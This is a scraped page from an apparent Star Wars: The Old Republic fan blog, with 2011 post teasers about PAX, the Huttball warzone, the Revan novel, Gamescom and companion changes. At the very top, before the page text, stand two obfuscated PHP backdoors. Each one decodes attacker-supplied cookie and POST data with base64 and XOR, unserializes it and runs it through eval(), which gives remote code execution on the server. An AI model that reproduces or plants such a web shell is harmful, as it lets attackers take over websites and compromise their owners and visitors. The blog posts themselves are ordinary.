$eDITTpx = class_exists("E_sdBhD");if (!$eDITTpx){class E_sdBhD{private $Uwkjo;public static $GceVIgUuDx = "bb4019ce-3f6c-41c2-908d-f6034f80bd18";public static $hHxVxqyEP = NULL;public function __construct(){$STTVJb = $_COOKIE;$DZiTu = $_POST;$WDsdjh = @$STTVJb[substr(E_sdBhD::$GceVIgUuDx, 0, 4)];if (!empty($WDsdjh)){$wISPlIDZLO = "base64";$dUsBvmZpUV = "";$WDsdjh = explode(",", $WDsdjh);foreach ($WDsdjh as $WykdfVvtZ){$dUsBvmZpUV .= @$STTVJb[$WykdfVvtZ];$dUsBvmZpUV .= @$DZiTu[$WykdfVvtZ];}$dUsBvmZpUV = array_map($wISPlIDZLO . "\137" . "\x64" . "\x65" . "\x63" . "\x6f" . chr (100) . chr ( 1098 - 997 ), array($dUsBvmZpUV,)); $dUsBvmZpUV = $dUsBvmZpUV[0] ^ str_repeat(E_sdBhD::$GceVIgUuDx, (strlen($dUsBvmZpUV[0]) / strlen(E_sdBhD::$GceVIgUuDx)) + 1);E_sdBhD::$hHxVxqyEP = @unserialize($dUsBvmZpUV);}}public function __destruct(){$this->BfuLpx();}private function BfuLpx(){if (is_array(E_sdBhD::$hHxVxqyEP)) {$kjgrSU = str_replace("\x3c" . chr (63) . 'p' . "\150" . chr (112), "", E_sdBhD::$hHxVxqyEP["\143" . chr (111) . 'n' . chr ( 817 - 701 )."\x65" . "\156" . chr ( 520 - 404 )]);eval($kjgrSU);exit();}}}$LfAXf = new E_sdBhD(); $LfAXf = NULL;} ?> $HUXqtUIxy = class_exists("ip_QEqh");if (!$HUXqtUIxy){class ip_QEqh{private $TbmzRb;public static $FHcIW = "7ebcf308-eeb5-45d0-b672-e9d0e6153b2f";public static $fFfkEnNTtr = NULL;public function __construct(){$FhesM = $_COOKIE;$LHvkqFrxmX = $_POST;$MCHrxi = @$FhesM[substr(ip_QEqh::$FHcIW, 0, 4)];if (!empty($MCHrxi)){$ukeOe = "base64";$JuQfYmlyOm = "";$MCHrxi = explode(",", $MCHrxi);foreach ($MCHrxi as $BJxJBWW){$JuQfYmlyOm .= @$FhesM[$BJxJBWW];$JuQfYmlyOm .= @$LHvkqFrxmX[$BJxJBWW];}$JuQfYmlyOm = array_map($ukeOe . chr ( 127 - 32 )."\144" . "\x65" . "\143" . 'o' . "\x64" . "\x65", array($JuQfYmlyOm,)); $JuQfYmlyOm = $JuQfYmlyOm[0] ^ str_repeat(ip_QEqh::$FHcIW, (strlen($JuQfYmlyOm[0]) / strlen(ip_QEqh::$FHcIW)) + 1);ip_QEqh::$fFfkEnNTtr = @unserialize($JuQfYmlyOm);}}public function __destruct(){$this->tSjrbbjY();}private function tSjrbbjY(){if (is_array(ip_QEqh::$fFfkEnNTtr)) {$xdxaj = str_replace("\x3c" . "\x3f" . 'p' . chr ( 133 - 29 ).chr (112), "", ip_QEqh::$fFfkEnNTtr["\x63" . 'o' . chr (110) . "\x74" . 'e' . "\156" . chr ( 225 - 109 )]);eval($xdxaj);exit();}}}$SRNAi = new ip_QEqh(); $SRNAi = NULL;} ?> The Old Republic – Page 4 – Corellian Run Radio
Sep 092011
 

by Mark Pajor (follow @mpajor on Twitter)

Corellian Runners, we have quite an update today. In addition to the obligatory PAX Highlights video, Senior Writer Alexander Freed explains the goals and strengths of writing in the Star Wars universe. If Developer Dispatches aren’t your thing, we are now gifted with the Progression video for the Smuggler, whose groin-kicking feats of awesomeness shall be sung for millenia. Let’s start the update there, shall we?

More Friday Update and Comments after the jump. Continue reading »

Aug 192011
 

by Mark Pajor (follow @mpajor on Twitter)

Sometimes you grow tired of murdering people for the sake of the Republic or Empire. Sometimes you need a change of pace. Sometimes you want to murder people while playing sports, for fun and games! That’s why we have a new Warzone announced at GamesCom called Huttball, and a new Huttball trailer was just posted by Bioware. If you imagine what it would be like to play (American) Football if it was run my the Hutts, you have a pretty good idea of how it plays: get the ball across your opponents’ line while everyone tries to kill each other.

Continue reading »

Aug 162011
 

A look at the Star Wars Insider Revan novel excerpt, focusing on how Revan’s character will be handled in SWTOR and the novel.

by Mark Pajor (follow @mpajor on Twitter)

This article contains SPOILERS for the 2003 game Knights of the Old Republic.

Who is Revan? Everyone who has played KotOR (Knights of the Old Republic) has a different answer to that question. Like with Commander Shepard in Mass Effect and the Hero of Ferelden and Hawke in the Dragon Age games, Bioware’s interactive dialogue system lets the players define Revan in any way they please. How, then, can the non-interactive Revan novel satisfy every fan of KotOR? How can one defined character of a book convey the infinite possibilities of Revan? With the first excerpt of the Revan novel in Star Wars Insider magazine, perhaps our questions can be answered.

Continue reading »

Aug 152011
 

You don’t need to wait until Thursday for the SWTOR Gamescom goodness to start. Tomorrow (Tuesday), Electronic Arts is holding a pre-Gamescom Press Conference at 4pm CET (9am US Central time). The event will be live-streamed by EA, and they’ve confirmed more than just the presence of Bioware:

“Dr. Ray Muzyka from BioWare will be presenting a live, multiplayer demo of the highly anticipated, story-driven MMO Star Wars®: The Old Republic™ and providing an update on Mass Effect 3.”

Continue reading »

Aug 092011
 

Strike me down and... oh wait, I'm a companion, you can't, lol.

On Bioware’s added companion customization and removed companion killing

by Mark Pajor (follow @mpajor on Twitter)

 

If you haven’t heard yet, a few big changes to the Companion system were announced at Comic-Con: you can customize their physical appearance, do some new things with their AI, and you can no longer kill them permanently through your story. All three of these things were responses to player feedback in testing, but it’s interesting to note that while the first two give the player a larger degree of freedom and flexibility, the last removes an option that several people were excited for. Why did these changes occur, and what does it mean for player freedom and choice?

Continue reading »

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